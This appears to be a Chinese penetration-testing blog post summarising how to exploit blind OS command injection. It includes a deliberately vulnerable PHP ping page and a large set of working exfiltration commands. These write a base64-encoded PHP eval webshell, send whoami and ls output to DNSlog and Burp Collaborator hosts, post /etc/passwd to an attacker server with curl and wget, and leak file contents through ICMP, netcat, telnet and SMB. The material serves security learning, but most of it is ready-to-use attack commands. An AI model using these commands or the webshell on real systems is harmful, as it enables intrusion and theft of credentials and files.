命令执行漏洞利用小结
前言:
还是那一次实习电话面,问到了这样一个问题:
面试官:在已经确定了命令执行漏洞的情况下,如果没有回显,如何进行利用?

我:利用dnslog确认漏洞+反弹shell到VPS上

面试官:那么如果目标机器不出网呢?
我:(当时煞笔了,啥也想不起来)

结局:
面试卒……

漏洞认识
漏洞原理:
目标应用把用户的输入当做系统命令或者系统命令的一部分去执行,且应用没有正确的验证、过滤用户的输入,从而导致命令执行漏洞。
常见漏洞存在点:
1、使用用户提供的邮箱地址发送邮件的应用程序
2、服务器监控类型的应用,他们会返回系统的健康状况,这些健康状况都是通过执行系统命令取得的
3、使用第三方软件根据用户提供的输入实时生成报告的应用程序
漏洞利用:
命令连接常用技巧:
若系统只允许执行特定的函数时,比如只允许执行Ping命令,可通过拼接符绕过:
Windows:
&:前面语句为假时直接执行后面的命令
&&:前面的语句为假时直接出错,后面的命令不执行
|:直接执行后面的语句
||:前面出错执行后面的语句Linux:
;:前面的执行完执行后面的
&:无论前面的语句真假都会执行
&&:只有前面为真时才执行后面
|:显示后面的执行结果
||:当前面的执行错误时执行后面的
其它补充:

有回显的情况下:
1、获取系统的敏感信息
# windows:
type c:\windows\win.ini
# Linux:
cat /etc/passwd
这是最完美的情况下
但是在实际渗透中,很多往往不会直接回显,这种时候我们就需要利用各种带外通信技巧
漏洞环境:
<?php
if( isset( $_GET[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' . $target );
}
else {
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
echo "<pre>{$cmd}</pre>";
}
else{
echo "no input";
}
?>
补充:
若服务器开放了web服务,可以将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果。
若不知道服务器绝对路径的话,通过寻找偏僻名字的js或jpg等文件,然后通过寻找这个文件的路径,将命令执行的结果写入到这个路径里面
管道符:
在有写入权限的情况下,直接利用漏洞写入一句话:
echo PD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg== | base64 -d > shell.php
Dnslog:
原理:反撇号种的命令会自动执行并返回命令执行的结果拼接到命令里,Linux里要加上-c参数指定次数
ping -c 1 `whoami`.sp328y.dnslog.cn

NetCat:
如果目标系统有安装netcat,可以直接利用netcat将操作系统的标准输出重定向到netcat监听的端口:
nc -lp 9999 < /etc/passwd

如果目标系统为Windows,利用以下命令:
type c:\windows\win.ini | nc -lp 9999
curl:
curl是用于使用各种协议传输数据的库和命令行工具,并且是用于数据渗透的非常有用的工具。如果易受攻击的服务器具有curl,我们可以使用它来将文件发送到恶意Web服务器或使用其他协议(例如FTP / SCP / TFTP / TELNET等)传输文件
- 用http请求的方式携带数据:
curl nnez6htu165wu7grtc8txkm24tajy8.burpcollaborator.net/`whoami`

注意:这里如果要使用ls命令查看当前目录文件,会发现只有一个请求,也就是说只能查看到1个文件或者目录
经过查资料后,发现如空格、!、$、&、?等特殊字符,是无法通过DNSlog将数据携带出来。所有我们要让内容先进行base64编码,然后在进行输出
curl nnez6htu165wu7grtc8txkm24tajy8.burpcollaborator.net/`ls|base64`
但是这种方法有一个缺陷:
DNS每一级域名长度的限制是63个字符,如果文件内容过多,导致生成的base64太长,域名无法全部携带出来

这里我们可以通过一个For循环,将每个文件逐条输出:
for i in $(ls);do curl "http://nnez6htu165wu7grtc8txkm24tajy8.burpcollaborator.net/$i";done

这里我们也可以选择在自己的VPS上开放Web服务,用于获取数据:

当然这里还可以再完善一点,可以自己写个脚本,然后使用正则将其内容全部提取出来
- 使用以下命令将文件的内容发送到我们的web服务器:
cat /etc/passwd | curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/ceshi.txt

- 通过FTP传输文件:
curl –T {path to file} ftp://xxx.xxx.xxx.xxx –user :{password}
wget:
wget主要用于从web上非交互式地下载文件,但是,它同样可以用来外带数据
利用原理:wget支持自定义请求头,把敏感数据放入请求头里带出来
wget --header="book4yi:`cat /etc/passwd | xargs echo -n`" http://x.x.x.x:x

除此之外,wget可以利用--post-data选项用来提交body,--post-file用来上传文件
wget --post-file=/etc/passwd http://x.x.x.x:x

SMB:
如果漏洞服务器是windows系统,我们可以使用网络共享功能读取文件
利用原理:让漏洞服务器连接到我们自己开设的共享上,然后向我们的共享文件夹复制文件
打开本机网络共享:

选择需要开放的共享文件夹或者磁盘:

向我们的共享文件夹复制文件:
net use e: \\Sws-win10\e /user:tester_sws && copy d:\1.txt e:\book4yi.txt

TELNET:
telnet x.x.x.x {port} < /etc/passwd
ICMP:
如果目标系统是linux,我们可以使用ICMP协议的echo requests外带数据,在linux下,可以用ping命令的-p选项实现
但是-p选项外带的数据最多只能16字节,这时可以利用xxd命令,不过这个命令在一些系统里是没有默认安装的
cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 x.x.x.x; done
使用wireshark抓包查看:

在vps上使用tcpdump进行监听:

可以是可以,就是些许麻烦。
DNS:
详情参考:哈?命令注入外带数据的姿势还可以这么骚?
感谢表哥们的无私分享!
参考如下:
哈?命令注入外带数据的姿势还可以这么骚?
从无回显命令执行到getshell的渗透测试
fastjson 不出网利用总结